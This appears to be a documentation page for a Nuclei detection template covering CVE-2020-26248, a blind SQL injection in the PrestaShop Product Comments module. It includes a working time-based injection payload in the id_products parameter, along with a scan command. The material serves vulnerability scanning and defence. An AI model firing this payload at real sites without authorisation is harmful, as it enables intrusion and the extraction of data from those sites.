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PrestaShop Product Comments <4.2.0 - SQL Injection

ID: CVE-2020-26248

Severity: high

Author: edoardottt

Tags: time-based-sqli,cve,cve2020,packetstorm,sqli,prestshop,prestashop

Description

Section titled “Description”

PrestaShop Product Comments module before version 4.2.1 contains a SQL injection vulnerability, An attacker can use a blind SQL injection to retrieve data or stop the MySQL service, thereby possibly obtaining sensitive information, modifying data, and/or executing unauthorized administrative operations in the context of the affected site.

YAML Source

Section titled “YAML Source”
id: CVE-2020-26248


info:
  name: PrestaShop Product Comments <4.2.0 - SQL Injection
  author: edoardottt
  severity: high
  description: |
    PrestaShop Product Comments module before version 4.2.1 contains a SQL injection vulnerability, An attacker can use a blind SQL injection to retrieve data or stop the MySQL service, thereby possibly obtaining sensitive information, modifying data, and/or executing unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: Fixed in 4.2.1.
  reference:
    - https://packetstormsecurity.com/files/160539/PrestaShop-ProductComments-4.2.0-SQL-Injection.html
    - https://packagist.org/packages/prestashop/productcomments
    - https://github.com/PrestaShop/productcomments/security/advisories/GHSA-5v44-7647-xfw9
    - https://nvd.nist.gov/vuln/detail/CVE-2020-26248
    - https://github.com/PrestaShop/productcomments/commit/7c2033dd811744e021da8897c80d6c301cd45ffa
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H
    cvss-score: 8.2
    cve-id: CVE-2020-26248
    cwe-id: CWE-89
    epss-score: 0.01617
    epss-percentile: 0.87187
    cpe: cpe:2.3:a:prestashop:productcomments:*:*:*:*:*:prestashop:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: prestashop
    product: productcomments
    framework: prestashop
  tags: time-based-sqli,cve,cve2020,packetstorm,sqli,prestshop,prestashop


http:
  - raw:
      - |
        @timeout: 20s
        GET /index.php?fc=module&module=productcomments&controller=CommentGrade&id_products%5B%5D=(select*from(select(sleep(6)))a) HTTP/1.1
        Host: {{Hostname}}


    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains(body, "average_grade")'
        condition: and
# digest: 4a0a00473045022100ed8022755fefbfba2522e1505f849cf038a4e2c6792ffda9da9defa49269ee1e022050706a4b21c61e370d0a7875e04cd4aa5a6c7872f3478ce3e91af22873c7e716:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-26248.yaml"

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